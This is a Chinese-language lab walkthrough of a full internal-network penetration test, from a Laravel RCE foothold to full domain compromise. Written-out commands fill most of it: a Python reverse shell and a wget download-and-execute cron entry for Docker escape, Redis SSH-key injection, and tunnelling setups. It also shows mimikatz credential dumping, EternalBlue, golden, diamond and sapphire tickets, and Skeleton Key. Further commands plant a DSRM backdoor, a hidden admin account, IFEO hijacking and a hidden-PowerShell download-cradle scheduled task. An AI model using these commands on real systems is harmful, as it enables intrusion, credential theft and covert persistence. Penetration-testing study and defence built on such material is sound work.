前言:本文主要记录了作者之前在内网渗透的一个全方面的学习过程,包括如何从外网找到入口点,之后如何提权,然后如何在内网中进行一个信息收集,当存在域的情况下又是怎么收集信息,然后通过代理来进一步横向,不论是一层代理还是两层,本文都有涉及,以及一些常见的代理工具的使用方法、权限维持的手法、痕迹清理、内网渗透过程的整一个渗透思路是怎么样子的做一个简单的分享,同时希望能帮助到像我一样的小白能对内网渗透有进一步的了解,最主要的是让像我一样的菜鸟找到学习的方向和方式
入口点寻找思路
打靶过程
如下为本人自己搭建的练习靶场
拿下web2
1.nmap扫描
192.168.157.131 :81 --->web2 (nginx)
2.Nday getshell-web2
访问192.168.157.131:81可以得到使用了Laravel框架信息
该站点存在Laravel Debug mode RCE漏洞(CVE-2021-3129)利用工具laravel-CVE-2021-3129-EXP-main 搭配v2.96-godzilla拿下shell(docker)
注意该工具下getshell高版本的‘哥斯拉’不可行,工具均于github下载
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla
3.在docker中提权-web2
拿下shell之后判断是否为docker,如下图,可以看到确实为docker容器中
方式一:利用suid权限
find / -perm -u=s -type f 2>/dev/null
1.通过执行上述命令,攻击者可以遍历任何可执行文件,在这里我们可以找到/home/jobs目录下有一个shell文件,并且其具有SUID权限,通过执行shell可以发现其执行的就是ps命令
2.利用python进行一个反弹shell到自己的kali
Python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.50.1",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
3.开始利用suid提权
思路:
找到suid程序(shell可执行文件 调用系统ps命令)-->修改PATH -->创建ps文件内容为/bin/bash -->将ps文件添加至PATH最前面最先调用-->执行shell程序-->通过PATH找到我们创建的ps文件执行命令-->导致可利用suid权限执行任意命令
!!!!!没有root权限是无法进行磁盘挂载的
具体操作如下
cd /tmp
echo "/bin/bash" > ps #写入ps内容
chmod 777 ps #授权
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
然后就获得了root权限,可以执行命令了
疑问一:为什么写入到tmp目录
1./tmp目录通常对所有用户都是可读写的
2.由于/tmp目录中经常有大量临时文件,攻击者放置的木马文件可能不会立即引起注意
3./tmp目录中的文件可能会被系统定期清理,这可能有助于攻击者隐藏痕迹
4.docker逃逸拿下web2
方式一:Docker runC漏洞逃逸-失败
攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令,需等待目标机管理员重启该docker容器,payload就会触发
https://github.com/Frichetten/CVE-2019-5736-PoC
实验失败,原因未知
方式二:Docker 特权模式逃逸-成功
当管理员执行docker run --privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载
将宿主机磁盘挂载之后添加计划任务---利用msf的web_delivery模块生成payload定时执行
宿主机上线meterpreter
具体操作:
1.首先我们现在docker中新建一个/hack目录用来挂在文件
mkdir /hack
2.然后ls /dev看到/dev目录会发现很多设备文件
/dev目录是系统设备管理的核心部分,几乎所有的硬件设备在/dev目录下都有一个对应的设备文件。这些设备文件使得用户和程序能够以文件的方式与硬件设备交互
3.将 /dev/sda1 挂载到/hack目录里
mount /dev/sda1 /hack
如上图所示挂载成功了,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的
使用metasploit的web_delivery模块生成payload命令
use exploit/multi/script/web_delivery
set target 7 # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.x.x #kali地址
set lport 4444
exploit
如上图将
echo ' * wget -qO m4aMAqCc --no-check-certificate http://192.168.52.128:8080/fvjGoEx9Xu7ud97; chmod +x m4aMAqCc; ./m4aMAqCc& disown >> /hack/var/spool/cron/crontabs/root
将该命令写入宿主机的计划任务中即可上线meterpreter
但是通过ifconfig可以看到出现了52段和93段和我们刚刚web的157.131并不一样所以从这就可以大致判断是存在nginx反向代理
拿下web1
nmap得到6379--redis未授权写入ssh公钥
1.先前通过nmap扫描是可以得到6379的,其存在redis未授权漏洞可直接连接,那么我们可以通过写入ssh公钥来实现ssh连接
具体操作如下
ssh-keygen -t rsa #生成密钥
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt #/root/.ssh/id_rsa.pub为公钥位置 其中换行的原因是避免和Redis里其他缓存数据混合
cat key.txt | redis-cli -h 192.168.157.128 -x set xxx #把key.txt文件内容写入目标主机的redis缓冲里
然后使用攻击机连接目标机器Redis,分别执行如下命令将ssh公钥写入目标主机:
redis-cli -h 192.168.157.131
注意这里设置备份路径的时候,目标机器必须要是以root权限启动的redis,否则会权限不足
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/(SSH密钥存放的默认目录)
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
写入成功后直接尝试连接,通过ssh配合msf生成payload得到web1 的session:
内网穿透工具拓展/使用
补充:Kali ip
Earthworm
一.工具介绍
Earthworm(简称EW)是一款功能强大的网络穿透工具,它具备SOCKS5服务架设和端口转发两大核心功能,能够在复杂网络环境中实现网络穿透。EW支持正向、反向以及多级级联的方式建立网络隧道,实现网络穿透。它适用于多种操作系统,包括Linux、Windows、MacOS和Arm-Linux,提供了丰富的跨平台支持
二:工具使用
https://github.com/idlefire/ew
服务端 ./ew_for_linux64 -s rcsocks -l 8899 -e 1888
客户端 ./ew_for_linux64 -s rssocks -d 192.168.157.129 -e 1888
成功访问52网段,注意浏览器要挂代理127.0.0.1:8899
Frp
一.工具介绍
FRP(Fast Reverse Proxy)是一个开源的高性能内网穿透及反向代理应用,它支持TCP、UDP、HTTP、HTTPS等多种协议。FRP采用客户端/服务端(C/S)模式,服务端部署在具有公网IP的机器上,客户端部署在内网或防火墙内的机器上。通过访问暴露在服务器上的端口,FRP能够反向代理到处于内网的服务
Tip:版本frp0.39 :注意高版本和低版本启动的方式是不一样的,高版本把frpc.ini改成了frpc.toml
二:工具使用
Frpc.ini配置如下
Frps.ini配置如下
Tip:利用python和wget传工具
服务端 frps -c frps.ini
客户端 frps -c frps.ini
如下图表现socks5搭建成功
reGeorg
由于当前环境ubuntu(web1)没有web端服务因此先拿其他机子环境进行实验
一.工具介绍
Neo-regeorg 是一个基于 Python 编写的用于正向代理和内网穿透工具,采用 socks5 协议。
支持的脚本类型:aspx、ashx、jsp、jspx、php
下载地址:https://github.com/L-codes/Neo-reGeorg
二:工具使用
先使用regeorg生成代理文件
python neoreg.py generate -k 123456
生成之后key为你在生成时的连接密码
连接命令为python3 neoreg.py -k 123456 -u http://39.101.168.100/proxy.php -p 10080
-k为密码参数,-p为本地的端口10080
weblogic查找路径:C:\bea\workshop_10.3\samples\domains\workshop\servers\cgServer\tmp_WL_internal\bea_wls_internal\5uaji9\war\
找到临时文件工作路径后使用文件上传功能
连接代理python3 neoreg.py -k 123456 -u http://201.xxx.xxx.90:7001/bea_wls_internal/proxy.jsp -p 10080
使用proxifier配置本地代理:
配置代理规则
可正常访问内网
Nps
NPS下载地址:https://github.com/ehang-io/nps/releases/
下载后上传到vps,运行以下命令
mkdir nps-server
mv linux_amd64_server.tar.gz nps-server/
cd nps-server
tar -zxvf linux_amd64_server.tar.gz
./nps install
./nps start
到此处成功启动nps服务端,web默认端口8080,服务端口8024
访问网站,默认账户密码admin/123
点击客户端新增
可只设置个验证密钥
Windows自行更改npc.exe -server=47.。.46:8024 -vkey=1234 -type=tcp(此命令为受害者主机运行)
客户端登录之后会显示客户端地址
需要记住客户端的id,在socks5代理中配置
新增后会在vps上1080端口开启socks5服务,使用proxifier连接
suo5
一.工具介绍
Suo5是一个全新的 HTTP 代理隧道,基于HTTP/1.1的Chunked-Encoding构建。相比Neo-reGeorg等传统隧道工具,suo5的性能可以达到其数十倍。查看性能测试。
其主要特性如下
1.同时支持全双工与半双工模式,传输性能接近FRP
2.支持在 Nginx 反向代理和负载均衡场景使用
3.完善的连接控制和并发管理,使用流畅丝滑
4.支持 Tomcat Jetty Weblogic WebSphereResin等主流中间件
5.支持 Java4~Java 19 全版本,兼容性拉满
- 同时提供提供命令行和图形化界面
下载地址:https://github.com/zema1/suo5
(可下载代码自行编译,也可下载编译好的,必须下载assets里的连接代码)
二:工具使用
在此文件夹中找到对应系统上传文件
我们需要用的jsp文件
找到网站根目录
Weblogic访问目录http://201.147.94.90:7001/bea_wls_internal/suo5.jsp
使用suo5客户端连接
默认端口为1111,自行更改
linux版本命令为./suo5-linux-arm64 -t http://201.xxx.xx.90:7001/bea_wls_internal/suo5.jsp -l 0.0.0.0:1111
然后需配置proxifier使用socks5代理即可访问
## 横向移动192.168.52.0
给web1的session配置路由 route add 192.168.52.0 255.255.255.0 x
x代表session的id 比如 3
使用auxiliary/scanner/discovery/udp_probe 模块来扫描52网段的主机-----扫到192.168.52.30 主机pc1
配置路由的原因是:告诉msf“路怎么走”接下来就是要搭socks代理是为了让其他工具同样“识路”
在web1上可利用earthworm/frp/reGeorg/Nps/suo5(性能强)搭建socks5,(web1双网卡上是存在52段网)
然后搭配proxychains对52段进行nmap扫描
proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30
可以看到8080上有一个nginx的http服务尝试访问
拿下pc1
很明显这是一个通达oa的系统直接搜哈
https://github.com/xiaokp7/TongdaOATool/releases/tag/v1.6
自此pc1也就拿下了
内网信息收集
常规操作
ipconfig /all # 查看本机ip,所在域
systeminfo # 列出系统信息
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
whoami
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net config workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器(可能有多台)
发现IPC
远程IPC(Inter-Process Communication,进程间通信)主要指的是在不同计算机系统或在同一计算机系统的不同进程之间进行数据交换和通信的机制。在Windows系统中,IPC$(Internet Process Connection)是一种特殊的共享资源,它允许进程间通过命名管道进行通信,以实现对远程计算机的访问。IPC$共享依赖于特定的端口,如139和445端口,这些端口用于SMB(Server Message Block)协议,负责文件和打印共享服务。
在实际应用中,IPC$可以用于建立远程连接,例如,通过命令 net use \IP\ipc$ "password" /user:"username" 可以建立与远程计算机的IPC$连接。此外,IPC$连接还可以用于文件传输、执行远程命令等操作。然而,需要注意的是,不当使用IPC$可能会带来安全风险,如被恶意用户利用来获取未授权的访问权限
关键信息汇总:
域名:whoamianony.org
域控制器主机名为DC.whoamianony.org,IP为192.168.93.30
域管理员为Administrator
Kiwi启动!抓密码
Ps
migrate [PID] #挂载x64进程
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
bunny:Bunny2021
administrator:Whoami2021
Tip:mimikatz需要管理员权限才可以爬
横向移动 192.168.93.0
配置路由
route add 192.168.93.0 255.255.255. 2
开始扫描93存活主机
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run
扫到了93.40主机
继续用nmap扫一下
使用earthworm搭建一个二级socks5代理服务
攻击机: ./ew_for_linux64 -s lcx_listen -l 1090 -e 1234
跳板机: ./ew_for_linux64 -s lcx_slave -d 192.168.52.128 -e 1234 -f 192.168.52.30 -g 1555
Win7:ew_for_Win.exe -s ssocksd -l 1555
proxychains4 nmap -Pn -sT -sV 192.168.52.40
没发现什么可有利用的服务,我们直接打一个“永恒之蓝”试试:
setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit
自此拿下pc2,还剩下一个域控,因为前期有了域管理员的密码直接尝试直接psexec登陆
拿下域控
首先利用域管理员账号把域控的防火墙给关了,到pc1执行以下命令让Windows 7与域控建立ipc连接:
net use \192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
然后执行如下命令,使用sc远程在域制器(192.168.93.30)上创建服务关闭防火墙:
sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \192.168.93.30 start unablefirewall
直接psexec登陆
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run
成功拿下!
权限维持
票据
白银票据
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名
SID和所处域参考黄金票据
whoami /user
net config workstation
获取服务账号hash
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" > 'xxx.txt'
制作白银票据(使用mimikatz)
klist purge 清除票据
kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:cifs /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt
kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt
黄金票据
介绍
黄金票证是一种权限维持手段,攻击者获得了对 Active Directory 密钥分发服务帐户 (KRBTGT) 的控制权,并使用该帐户伪造有效的 Kerberos 票证授予票证 (TGT)。这使攻击者能够访问 Active Directory 域上的任何资源,如果有 KRBTGT 哈希,您可以伪造自己的 TGT,其中包括想要的任何组成员身份的 PAC 数据
前置条件:
1.KRBTGT的hash
2.本地管理员权限
3.域的sid(普通用户的sid除去最后三位就是域的sid)
4.域内任意用户的本地管理员权限
利用mimikatz实现
具体操作
whoami /user 获取域的sid值(去掉最后的-500,500表示为administrator用户)
net config workstation 查看所处域
获取krbtgt用户hash
运行mimikatz.exe
privilegeg::debug #开启特权模式
lsadump::lsa /patch #获取krbtgt用户hash,域的sid
lsadump::lsa /patch /user:krbtgt #获取krbtgt用户hash
制作黄金票据(使用mimikatz)
此时我们已经拥有krbtgt账号的hash,接下来切换到普通机器,使用mimikatz制作黄金票据。
Kerberos::purge
klist purge 这两条命令可以清除机器中的票据,以防干扰
kerberos::golden /user:administrator /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /krbtgt:d40f0e3b1347e55dbfd6dc58e80a3b6e /ticket:ticket.kirbi
kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)
票据传递
kerberos::ptt ticket.kirbi
dir \dc.cyber.com\c$
利用impacket实现
第一步:打开管理员权限的命令行窗口并清空票据
第二步:制作ccache文件
python ticketer.py -nthash d8d2ad72a119a8d418703f7a16580af6 -domain-sid S-1-5-21-3763276348-88739081-2848684050 -domain whoamianony.ory administrator
第三步:更改环境变量
set KRB5CCNAME=C:\Users\zhangsan\Desktop\impacket-examples-windows-master\administrator.ccache
第四步:验证成果
python wmiexec.py whoamianony.ory/administrator@yukong -k -no-pass
利用impacket来进行票据的制作有一定的局限性,制作完票据后在klist命令下是看不到缓存的。也没办法使用net use \ip\admin$ 来建立管道连接。但可以使用其自带的工具在在一定的命令格式下进行远控指定主机
砖石票据
区别:
黄金票据攻击和钻石票据攻击都需要访问krbtgt密钥。然而,钻石票据攻击需要访问AES256密钥。黄金票证攻击则是利用伪造票证授予票证 (TGT) ,而钻石票证攻击则利用了域控制器 (DC) 请求的真实 TGT 进行解密和重新加密进行票据攻击。
优势:这种技术相比于金票更加隐蔽,因为过程中所申请的TGT是真实的,只是修改了PAC,相对你金票离线生成TGT更符合OPSEC
条件:
krbkey:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745(AES256密钥)
低权限用户user:micle
用户密码password:Admin12345
domain:rootkit.org
dc:owa2013.rootkit.org
ticketuser:administrator //伪造的票据用户名可以任意,不需要域中存在该用户
具体操作:
使用 mimikatz 抓取 krbtgt 用户 aes256密钥
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:rootkit.org /user:krbtgt" "exit"
解密重构TGT
Rubeus.exe diamond /krbkey:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:micle /password:Admin12345 /enctype:aes /domain:rootkit.org /dc:owa2013.rootkit.org /ticketuser:test123 /ptt /nowrap
利用我们重新构造的TGT对域控的cifs服务进行票据注入
Rubeus.exe asktgs /ticket:doIFMjCCBS6gAwIBBaEDAgEWooIEOzCCBDdhggQzMIIEL6ADAgEFoQ0bC1JPT1RLSVQuT1JHoiAwHqADAgECoRcwFRsGa3JidGd0GwtST09US0lULk9SR6OCA/UwggPxoAMCARKhAwIBA6KCA+MEggPfj2PsZr7SGEqJsPPl5wG8ljBVM4yBAtxGQNxTQQPo6WBMTxcXS+3f3vyYs6qab0uZ+X5UW45e4aW8T8VhsTOkSJ1jokudegt8ILFKbHNpuUTMywsfgjRb6o+CQkfyZMGep1bQ9FoKHw+qPyd6ql7bYK50u1zO+uhNQ61cQDymFiDaqu0UBLh9yI4qY81gpycKOZSWqy0T/cH52hn22IuuxfL9dKN9qdRF+YCnrqy9MBSPx5E3MGVroJZrLYqgDfPQ9g+u1pPabnci8ac3J2S8isxbTscP7hutRATWTQWeauRvG1DbNN6qANWagDNpPy9JEqQoLbqrr3GD/FEQhaANSZlX2IPzLj8EsUcKQExEVSaWC3OuUwqNGWBNhc1m+aJL9mt6D42SwWMyFvmREmlj/lDR9kv9IQmqupcFCloBkewpyFBlecHkkSFKwXGvde65Y7Z/5vP1Iq1el2VrZPPMhywUhk5JwnRNhInDokhYFOWMIdY3w/C2PreLdEiL5aFUc7e01y7uQV5Wbe/OJ6XZdNhbYKXZ9lzZdHAqSayQmo0TRpBCBwqAZUFZse3l5B7qwPP9WBJDLIZtNgV6GUt0CW9DVoIW0jdM1j2Hkl9B+CeM1xV7Vb2DMNh8gK6IfT7KWEHX8a+0GVwlQWkAW/O/IpjZc8+3rIkiIfCIqbGTwA/pnjfhsS2lOXetwW6S4jQ8C9SfKZbLWhPIxpRs9q9g3tWMUE22Pk06CD3T9GbdTEbVi0IvCQJSgNIGMu+sI9ISVZ78HNmYv2wAjjC0tcHusjG1DDj0obyfeg99icK1ZtZL0HmOcQCSwNZqqJDMOXix1uKXv8auJP0itVdUf/aYp8l0xDjVQRYzvefpuar1Ce2Dhguejc6nEfPKusFBPDNhYGw8WlSupnCjjwgNuuQT1WUXdNuTMpPAh3Grb0dj/2s3/WcqVI3P9eZMos6n+MnD8RJUjytPGAm+iKa30KmL3nJbxQEdBOCI9cY4SYmf09B9fQJhG7fEwyeUyjcRoCeOeLFlSM8MCs/qHUi+0MTkVyyiLYZWfcNY+20dCbwUtRz6zXUwQ4go8buZoZMKqnnio1rtzZxzqkqiYK+AbtRq7+9JPuX0chOr9GKqGQGEqaQZCqjOVCQKr1A+JK4mfhHxGwe0eDaDtGOTUnszGLhqQdmDVxNpKduOLjaQBN97ACnitC3Q1Ww6ZeCv51TVh2x787nNkYy5JWZrY0gd3FByb9UDkMmeODy/1oVireCYEfLAL8yUuu/REgZbkyIsxzSCeG/NUZN6ztjGn/IrJ06bEQS6OhuvPHKP51JIh/8HUaOB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIFPwBQgPPeImtpqHK3V4zobqMKDh0uVBzmEB/v5GuE7noQ0bC1JPT1RLSVQuT1JHohQwEqADAgEBoQswCRsHdGVzdDEyM6MHAwUAQOEAAKURGA8yMDI0MDIwNTA0Mjk0OFqmERgPMjAyNDAyMDUxNDI5NDhapxEYDzIwMjQwMjEyMDQyOTQ4WqgNGwtST09US0lULk9SR6kgMB6gAwIBAqEXMBUbBmtyYnRndBsLUk9PVEtJVC5PUkc= /service:cifs/owa2013.rootkit.org /ptt /nowrap
利用klist查看票据
蓝宝石票据
区别:
蓝宝石票据与钻石票据类似,票据不是伪造的,而是通过请求后获得的合法票据。他们的区别在于PAC的修改方式。钻石票据是修改了合法PAC以添加特权组。在蓝宝石票据中,高权限用户PAC是通过S4U2Self+U2U获得的,然后该PAC会替换原来的PAC,由于该票据是完全合法元素组合起来的,所以是最难检测的票据
具体操作:
使用魔改过的 ticketer.py
https://github.com/ShutdownRepo/impacket/tree/6c9a1aadbfc11e321858a640b596530535b11fd1
将域控的ip地址加入hosts,使用如下命令生成票据
python ticketer.py -request -impersonate 'administrator' -domain 'rootkit.org' -user 'micle' -password 'Admin12345' -aesKey '3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745' -domain-sid 'S-1-5-21-3759881954-2993291187-3577547808' -nthash 'c3d5042c67ef5f461d0ba6ecdd9ea449' 'Sapphire'
使用mimikatz导入该票据,成功dir域控
kerberos::ptc ignored.ccache
由于该票据很难被检测到,只能通过人工排查krbrgt账户被盗等情况入手
Skeleton Key(万能密码)
介绍:
Skeleton Key(万能密码),可以对域内权限进行持久化操作,在本文中将分别使用Mimikatz和Empire来完成Skeleton Key的操作,并分析其使用方法和防御措施
具体操作:
1.在域控制器中以管理员权限运行Mimikatz,之后执行以下命令,将SKeleton Key注入域控制器的lsass.exe进程中:
mimikatz # privilege::debug
mimikatz # misc::skeleton
如上图所示,系统提示Skeleton Key已经注入成功,此时会在域中的所有账户中添加一个Skeleton Key,其默认密码为"mimikatz",接下来就可以以域内任意用户的身份,配合该SKeleton Key运行域内身份授权验证了,我们可以在不适用域管理员原始密码的情况下,使用注入的Skeleton Key成功连接系统,例如:
net use \dc\ipc$ "mimikatz" /user:hacke\administrator
可以看到已经与域控制器建立了连接,我们之后可以列c盘的目录看看:
DSRM域后门
介绍:
DSRM(Directory Services Restore Mode,目录服务恢复模式)是Window域环境中域控制器的安全模式启动选项,每个域控制器都有一个本地管理员账户(也就是DSRM账户)。
DSRM的用途是允许管理员在域环境中出现故障或崩溃时还原、恢复、重建活动目录数据库,使域环境的运行恢复正常,DSRM的密码需要在安装DC时设置且很少会被重置,修改DSRM密码最基本的方法是在DC上运行ntdsutil命令行工具。
在渗透测试中,我们可以使用DSRM账号对域环境进行持久化操作,如果域控制器的系统版本为WIndow Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步,在WIndow Server 2008之后的版本系统不需要安装此补丁,如果域控制器的系统版本为Windows Server 2003,则不能使用该方法进行持久化控制。
每个域控制器都有一个本地管理员账户和密码(与域管理员账户和密码不同),而此处的DSRM账户和密码亦可以作为一个域控制器的本地管理员用户,之后通过网络连接域控制器,进而控制域控制器。
微软公布了修改DSRM密码的方法,在域控上打开命令行环境,常用命令如下:
1、Windows Server 2008之后:
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
reset password on server null:在当前域控制器上重置DSRM的密码
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
如果域控制器的系统版本为Windows Server 2008(已安装KB961320)及以上,可以将DSRM密码同步为已存在的域账号密码,常用命令如下:
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
DSRM域后门设置步骤
DSRM域后门设置的步骤主要包括:
利用mimikatz工具获取域内用户的NTLM Hash值,包括krbtgt账户的NTLM Hash。
使用ntdsutil工具将DSRM账户的密码与域内指定用户的密码进行同步,从而更改DSRM账户的密码为攻击者已知的密码。
修改DSRM账户的登录方式,通过设置注册表项DsrmAdminLogonBehavior的值为2,允许DSRM账户在任何情况下都可以远程登录域控制器。
利用mimikatz的PTH(Pass-The-Hash)功能,使用DSRM账户通过网络远程登录域控制器,实现权限维持
Step 1:使用Mimikatz查看krbtgt的NTML Hash
在域控制器中打开Mimikatz,执行以下命令,可以得到krbtgt的NTML Hash为:99b4cbb80c324c1601aae32c2f7925be
privilege::debuglsadump::lsa /patch /name:krbtgt
Step 2:使用Mimikatz查看并读取SAM文件中本地管理员的NTML Hash
在域控制器中打开Mimikatz,之后执行以下命令,可以得到DSRM账户的NTLM Hash为:41945356c1b2adde08c00d0e48515b7e
token::elevate
lsadump::sam
Step 3:将DSRM账户与Krbtgt账户的NTML Hash同步
C:\Users\Administrator>ntdsutil
ntdsutil: SET DSRM PASSWORD
Reset DSRM Administrator Password: SYNC FROM DOMAIN account krbtgt
Password has been synchronized successfully.
Reset DSRM Administrator Password: q
ntdsutil: q
Step 4:查看DSRM的NTLM Hash是否同步成功
lsadump::sam
Step 5:修改DSRM的登录方式
在注册表中新建HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior项:
在这里需要介绍一下DSRM的三种登录方式,具体如下:
0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制,如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2,也可以使用PowerShell进行更改
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
Step 6:使用Mimikatz进行哈希传递,在域成员机器的管理员模式下打开Mimikatz,分别输入以下命令
privilege::debug
sekurlsa::pth /domain:DC /user:administrator /ntlm:99b4cbb80c324c1601aae32c2f7925be
SID History 域控权限维持
介绍:
每个用户都有自己的SID,SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限,SID History是在域迁移过程中需要使用的一个属性,如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源,而SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源,使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中,在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法
具体操作:
1.打开mimikatz,将administrator的SID添加到恶意域用户xxx的SID History属性中,需要注意的是,在使用mimikatz注入SID之前,需要使用sid::patch命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性,mimikatz在2.1版本后,将 misc:addsid模块添加到了sid:add 模块下
privilege::debugsid::patchsid::add /sam:xxx /new:administrator #将administrator的SID添加到xxx的SID History属性中
2.再次使用Powershell查看xxx用户的SID History信息
3.使用xxx用户登录域内其他主机,测试其是否具有Administrator的全新,尝试列出域控制器C盘的目录
组策略脚本
直接在以下路径存放批处理文件
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
或者win+r 输入gpedit.msc打卡组策略编辑器
计划任务
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
该命令使用了Windows任务计划程序(schtasks)来创建一个新的任务(/create),该任务名为PentestLab。此任务配置为在用户登录时(/sc onlogon)执行,以System用户权限运行(/ru System)。
任务执行的命令是:
c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe:指定使用Windows PowerShell的路径。
-WindowStyle hidden:设置PowerShell窗口为隐藏模式。
-NoLogo:不显示PowerShell的启动logo。
-NonInteractive:不等待用户输入。
-ep bypass:执行策略设置为绕过(Bypass),允许执行未签名的脚本。
-nop:不显示PowerShell的版本信息。
-c:后面跟要执行的命令。
'IEX ((new-object net.webclient).downloadstring('http://10.0.2.21:8080/ZPWLywg'))':执行从指定URL下载并执行的脚本。
影子账号
计算机管理用户就可查看到此用户
net user only$ /add
net localgroup administrators only$ /add
增强!
1.打开注册表regedit
HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User
Tip:需要将 HEKY_LOCAL_MACHINE\SAM\SAM的权限设为完全控制并重启注册表才能看到内容
2.将 only$ 用户的F值替换为管理员用户的F值
如图中的目录点击administrator查看类型1F4
3.将 000001F4的F值全部复制
4.找到 only$用户对应的F值,替换为管理员的F值
5.将 Names/only$和 000003E8导出
6.将only$用户删除
net user only$ /del
7.导入注册表
regedit /s 1.reg
regedit /s 2.reg
导入后注册表还能查看到用户,但是用户管理和登陆界面都不存在此用户
映像劫持
在更高的windwos版本中,由于系统文件受到了系统保护,无法直接进行替换
所以我们需要用到IFEO(Image File Execution Options),即映像劫持
windows 系统上每个服务的信息都存储在注册表中, IFEO 注册表项通常包含驱动程序映像文件的路径。
当我们运行程序时,系统会查询IFEO注册表,如果发现存在和运行程序名称相同的子健,就会查询对应子健中包含的debugger键值名,如果该参数不为空,系统则会将 debugger参数里指定的程序文件名作为用户试图启动的程序执行。当我们修改此参数的值为后门程序,成功执行后程序便遭到了 劫持
直接命令行修改:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
使用此命令的效果是,每当Internet Explorer启动时,它将首先启动命令提示符窗口(cmd.exe)。这可以用于调试目的,但也可能被用于恶意目的,例如拦截浏览器启动过程或执行其他恶意操作
该命令使用Windows注册表编辑器(reg add)来修改或创建注册表项,具体操作如下:
